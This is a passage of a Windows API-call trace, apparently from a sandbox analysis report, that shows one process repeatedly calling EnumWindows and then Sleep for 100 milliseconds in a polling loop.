EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.792] Sleep (dwMilliseconds=0x64) [0300.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.795] Sleep (dwMilliseconds=0x64) [0300.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.797] Sleep (dwMilliseconds=0x64) [0300.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.799] Sleep (dwMilliseconds=0x64) [0300.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.801] Sleep (dwMilliseconds=0x64) [0300.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.803] Sleep (dwMilliseconds=0x64) [0300.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.805] Sleep (dwMilliseconds=0x64) [0300.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.807] Sleep (dwMilliseconds=0x64) [0300.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.809] Sleep (dwMilliseconds=0x64) [0300.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.812] Sleep (dwMilliseconds=0x64) [0300.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.813] Sleep (dwMilliseconds=0x64) [0300.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.815] Sleep (dwMilliseconds=0x64) [0300.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.817] Sleep (dwMilliseconds=0x64) [0300.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.819] Sleep (dwMilliseconds=0x64) [0300.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.821] Sleep (dwMilliseconds=0x64) [0300.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.823] Sleep (dwMilliseconds=0x64) [0300.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.827] Sleep (dwMilliseconds=0x64) [0300.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.828] Sleep (dwMilliseconds=0x64) [0300.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.830] Sleep (dwMilliseconds=0x64) [0300.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.832] Sleep (dwMilliseconds=0x64) [0300.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.834] Sleep (dwMilliseconds=0x64) [0300.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.835] Sleep (dwMilliseconds=0x64) [0300.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.837] Sleep (dwMilliseconds=0x64) [0300.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.839] Sleep (dwMilliseconds=0x64) [0300.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.840] Sleep (dwMilliseconds=0x64) [0300.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.842] Sleep (dwMilliseconds=0x64) [0300.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.844] Sleep (dwMilliseconds=0x64) [0300.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.845] Sleep (dwMilliseconds=0x64) [0300.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.847] Sleep (dwMilliseconds=0x64) [0300.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.848] Sleep (dwMilliseconds=0x64) [0300.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.851] Sleep (dwMilliseconds=0x64) [0300.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.852] Sleep (dwMilliseconds=0x64) [0300.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.854] Sleep (dwMilliseconds=0x64) [0300.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.856] Sleep (dwMilliseconds=0x64) [0300.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.858] Sleep (dwMilliseconds=0x64) [0300.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.861] Sleep (dwMilliseconds=0x64) [0300.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.863] Sleep (dwMilliseconds=0x64) [0300.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.865] Sleep (dwMilliseconds=0x64) [0300.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.867] Sleep (dwMilliseconds=0x64) [0300.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.869] Sleep (dwMilliseconds=0x64) [0300.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.871] Sleep (dwMilliseconds=0x64) [0300.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.874] Sleep (dwMilliseconds=0x64) [0300.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.876] Sleep (dwMilliseconds=0x64) [0300.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.878] Sleep (dwMilliseconds=0x64) [0300.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.879] Sleep (dwMilliseconds=0x64) [0300.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.881] Sleep (dwMilliseconds=0x64) [0300.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.883] Sleep (dwMilliseconds=0x64) [0300.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.885] Sleep (dwMilliseconds=0x64) [0300.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.886] Sleep (dwMilliseconds=0x64) [0300.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.888] Sleep (dwMilliseconds=0x64) [0300.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.890] Sleep (dwMilliseconds=0x64) [0300.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.894] Sleep (dwMilliseconds=0x64) [0300.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.896] Sleep (dwMilliseconds=0x64) [0300.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.898] Sleep (dwMilliseconds=0x64) [0300.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.900] Sleep (dwMilliseconds=0x64) [0300.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.902] Sleep (dwMilliseconds=0x64) [0300.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.904] Sleep (dwMilliseconds=0x64) [0300.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.906] Sleep (dwMilliseconds=0x64) [0300.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.907] Sleep (dwMilliseconds=0x64) [0300.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.910] Sleep (dwMilliseconds=0x64) [0300.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.911] Sleep (dwMilliseconds=0x64) [0300.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.913] Sleep (dwMilliseconds=0x64) [0300.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.914] Sleep (dwMilliseconds=0x64) [0300.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.916] Sleep (dwMilliseconds=0x64) [0300.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.918] Sleep (dwMilliseconds=0x64) [0300.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.920] Sleep (dwMilliseconds=0x64) [0300.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.921] Sleep (dwMilliseconds=0x64) [0300.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.923] Sleep (dwMilliseconds=0x64) [0300.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.925] Sleep (dwMilliseconds=0x64) [0300.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.927] Sleep (dwMilliseconds=0x64) [0300.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.930] Sleep (dwMilliseconds=0x64) [0300.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.932] Sleep (dwMilliseconds=0x64) [0300.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.934] Sleep (dwMilliseconds=0x64) [0300.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.935] Sleep (dwMilliseconds=0x64) [0300.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.937] Sleep (dwMilliseconds=0x64) [0300.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.941] Sleep (dwMilliseconds=0x64) [0300.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.943] Sleep (dwMilliseconds=0x64) [0300.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.944] Sleep (dwMilliseconds=0x64) [0300.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.946] Sleep (dwMilliseconds=0x64) [0300.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.947] Sleep (dwMilliseconds=0x64) [0300.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.949] Sleep (dwMilliseconds=0x64) [0300.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.951] Sleep (dwMilliseconds=0x64) [0300.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.953] Sleep (dwMilliseconds=0x64) [0300.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.954] Sleep (dwMilliseconds=0x64) [0300.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.956] Sleep (dwMilliseconds=0x64) [0300.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.957] Sleep (dwMilliseconds=0x64) [0300.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.965] Sleep (dwMilliseconds=0x64) [0300.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.967] Sleep (dwMilliseconds=0x64) [0300.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.970] Sleep (dwMilliseconds=0x64) [0300.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.991] Sleep (dwMilliseconds=0x64) [0300.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.992] Sleep (dwMilliseconds=0x64) [0300.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.994] Sleep (dwMilliseconds=0x64) [0300.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.996] Sleep (dwMilliseconds=0x64) [0300.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.997] Sleep (dwMilliseconds=0x64) [0300.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.999] Sleep (dwMilliseconds=0x64) [0301.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.003] Sleep (dwMilliseconds=0x64) [0301.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.004] Sleep (dwMilliseconds=0x64) [0301.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.006] Sleep (dwMilliseconds=0x64) [0301.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.007] Sleep (dwMilliseconds=0x64) [0301.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.009] Sleep (dwMilliseconds=0x64) [0301.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.011] Sleep (dwMilliseconds=0x64) [0301.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.013] Sleep (dwMilliseconds=0x64) [0301.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.015] Sleep (dwMilliseconds=0x64) [0301.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.017] Sleep (dwMilliseconds=0x64) [0301.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.018] Sleep (dwMilliseconds=0x64) [0301.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.020] Sleep (dwMilliseconds=0x64) [0301.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.022] Sleep (dwMilliseconds=0x64) [0301.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.023] Sleep (dwMilliseconds=0x64) [0301.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.025] Sleep (dwMilliseconds=0x64) [0301.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.027] Sleep (dwMilliseconds=0x64) [0301.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.029] Sleep (dwMilliseconds=0x64) [0301.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.031] Sleep (dwMilliseconds=0x64) [0301.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.032] Sleep (dwMilliseconds=0x64) [0301.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.034] Sleep (dwMilliseconds=0x64) [0301.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.035] Sleep (dwMilliseconds=0x64) [0301.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.037] Sleep (dwMilliseconds=0x64) [0301.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.039] Sleep (dwMilliseconds=0x64) [0301.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.043] Sleep (dwMilliseconds=0x64) [0301.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.044] Sleep (dwMilliseconds=0x64) [0301.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.046] Sleep (dwMilliseconds=0x64) [0301.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.048] Sleep (dwMilliseconds=0x64) [0301.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.050] Sleep (dwMilliseconds=0x64) [0301.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.052] Sleep (dwMilliseconds=0x64) [0301.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.055] Sleep (dwMilliseconds=0x64) [0301.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.057] Sleep (dwMilliseconds=0x64) [0301.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.059] Sleep (dwMilliseconds=0x64) [0301.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.061] Sleep (dwMilliseconds=0x64) [0301.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.063] Sleep (dwMilliseconds=0x64) [0301.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.065] Sleep (dwMilliseconds=0x64) [0301.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.067] Sleep (dwMilliseconds=0x64) [0301.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.068] Sleep (dwMilliseconds=0x64) [0301.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.070] Sleep (dwMilliseconds=0x64) [0301.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.072] Sleep (dwMilliseconds=0x64) [0301.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.074] Sleep (dwMilliseconds=0x64) [0301.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.076] Sleep (dwMilliseconds=0x64) [0301.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.078] Sleep (dwMilliseconds=0x64) [0301.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.080] Sleep (dwMilliseconds=0x64) [0301.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.084] Sleep (dwMilliseconds=0x64) [0301.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.086] Sleep (dwMilliseconds=0x64) [0301.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.088] Sleep (dwMilliseconds=0x64) [0301.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.090] Sleep (dwMilliseconds=0x64) [0301.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.091] Sleep (dwMilliseconds=0x64) [0301.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.093] Sleep (dwMilliseconds=0x64) [0301.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.094] Sleep (dwMilliseconds=0x64) [0301.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.096] Sleep (dwMilliseconds=0x64) [0301.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.098] Sleep (dwMilliseconds=0x64) [0301.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.099] Sleep (dwMilliseconds=0x64) [0301.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.101] Sleep (dwMilliseconds=0x64) [0301.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.103] Sleep (dwMilliseconds=0x64) [0301.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.104] Sleep (dwMilliseconds=0x64) [0301.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.106] Sleep (dwMilliseconds=0x64) [0301.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.109] Sleep (dwMilliseconds=0x64) [0301.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.110] Sleep (dwMilliseconds=0x64) [0301.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.112] Sleep (dwMilliseconds=0x64) [0301.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.114] Sleep (dwMilliseconds=0x64) [0301.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.115] Sleep (dwMilliseconds=0x64) [0301.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.118] Sleep (dwMilliseconds=0x64) [0301.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.119] Sleep (dwMilliseconds=0x64) [0301.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.124] Sleep (dwMilliseconds=0x64) [0301.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.126] Sleep (dwMilliseconds=0x64) [0301.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.128] Sleep (dwMilliseconds=0x64) [0301.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.130] Sleep (dwMilliseconds=0x64) [0301.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.132] Sleep (dwMilliseconds=0x64) [0301.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.133] Sleep (dwMilliseconds=0x64) [0301.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.135] Sleep (dwMilliseconds=0x64) [0301.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.136] Sleep (dwMilliseconds=0x64) [0301.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.154] Sleep (dwMilliseconds=0x64) [0301.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.171] Sleep (dwMilliseconds=0x64) [0301.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.173] Sleep (dwMilliseconds=0x64) [0301.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.175] Sleep (dwMilliseconds=0x64) [0301.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.177] Sleep (dwMilliseconds=0x64) [0301.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.179] Sleep (dwMilliseconds=0x64) [0301.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.181] Sleep (dwMilliseconds=0x64) [0301.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.183] Sleep (dwMilliseconds=0x64) [0301.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.186] Sleep (dwMilliseconds=0x64) [0301.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.188] Sleep (dwMilliseconds=0x64) [0301.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.190] Sleep (dwMilliseconds=0x64) [0301.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.192] Sleep (dwMilliseconds=0x64) [0301.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.194] Sleep (dwMilliseconds=0x64) [0301.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.196] Sleep (dwMilliseconds=0x64) [0301.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.199] Sleep (dwMilliseconds=0x64) [0301.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.201] Sleep (dwMilliseconds=0x64) [0301.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.203] Sleep (dwMilliseconds=0x64) [0301.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.205] Sleep (dwMilliseconds=0x64) [0301.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.210] Sleep (dwMilliseconds=0x64) [0301.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.212] Sleep (dwMilliseconds=0x64) [0301.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.214] Sleep (dwMilliseconds=0x64) [0301.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.216] Sleep (dwMilliseconds=0x64) [0301.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.218] Sleep (dwMilliseconds=0x64) [0301.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.220] Sleep (dwMilliseconds=0x64) [0301.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.222] Sleep (dwMilliseconds=0x64) [0301.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.223] Sleep (dwMilliseconds=0x64) [0301.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.226] Sleep (dwMilliseconds=0x64) [0301.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.228] Sleep (dwMilliseconds=0x64) [0301.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.230] Sleep (dwMilliseconds=0x64) [0301.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.231] Sleep (dwMilliseconds=0x64) [0301.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.233] Sleep (dwMilliseconds=0x64) [0301.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.235] Sleep (dwMilliseconds=0x64) [0301.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.237] Sleep (dwMilliseconds=0x64) [0301.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.239] Sleep (dwMilliseconds=0x64) [0301.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.240] Sleep (dwMilliseconds=0x64) [0301.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.243] Sleep (dwMilliseconds=0x64) [0301.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.245] Sleep (dwMilliseconds=0x64) [0301.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.333] Sleep (dwMilliseconds=0x64) [0301.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.335] Sleep (dwMilliseconds=0x64) [0301.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.337] Sleep (dwMilliseconds=0x64) [0301.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.339] Sleep (dwMilliseconds=0x64) [0301.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.341] Sleep (dwMilliseconds=0x64) [0301.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.343] Sleep (dwMilliseconds=0x64) [0301.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.345] Sleep (dwMilliseconds=0x64) [0301.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.346] Sleep (dwMilliseconds=0x64) [0301.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.349] Sleep (dwMilliseconds=0x64) [0301.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.351] Sleep (dwMilliseconds=0x64) [0301.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.353] Sleep (dwMilliseconds=0x64) [0301.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.354] Sleep (dwMilliseconds=0x64) [0301.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.497] Sleep (dwMilliseconds=0x64) [0301.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.514] Sleep (dwMilliseconds=0x64) [0301.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.602] Sleep (dwMilliseconds=0x64) [0301.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.685] Sleep (dwMilliseconds=0x64) [0301.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.686] Sleep (dwMilliseconds=0x64) [0301.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.817] Sleep (dwMilliseconds=0x64) [0301.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.824] Sleep (dwMilliseconds=0x64) [0301.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.826] Sleep (dwMilliseconds=0x64) [0301.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.829] Sleep (dwMilliseconds=0x64) [0301.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.830] Sleep (dwMilliseconds=0x64) [0301.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.834] Sleep (dwMilliseconds=0x64) [0301.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.836] Sleep (dwMilliseconds=0x64) [0301.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.838] Sleep (dwMilliseconds=0x64) [0301.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.851] Sleep (dwMilliseconds=0x64) [0301.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.853] Sleep (dwMilliseconds=0x64) [0301.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.957] Sleep (dwMilliseconds=0x64) [0301.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.970] Sleep (dwMilliseconds=0x64) [0301.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.977] Sleep (dwMilliseconds=0x64) [0301.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.979] Sleep (dwMilliseconds=0x64) [0301.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.981] Sleep (dwMilliseconds=0x64) [0301.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.984] Sleep (dwMilliseconds=0x64) [0301.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.986] Sleep (dwMilliseconds=0x64) [0301.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.989] Sleep (dwMilliseconds=0x64) [0301.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.991] Sleep (dwMilliseconds=0x64) [0301.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.993] Sleep (dwMilliseconds=0x64) [0301.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.996] Sleep (dwMilliseconds=0x64) [0301.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0301.997] Sleep (dwMilliseconds=0x64) 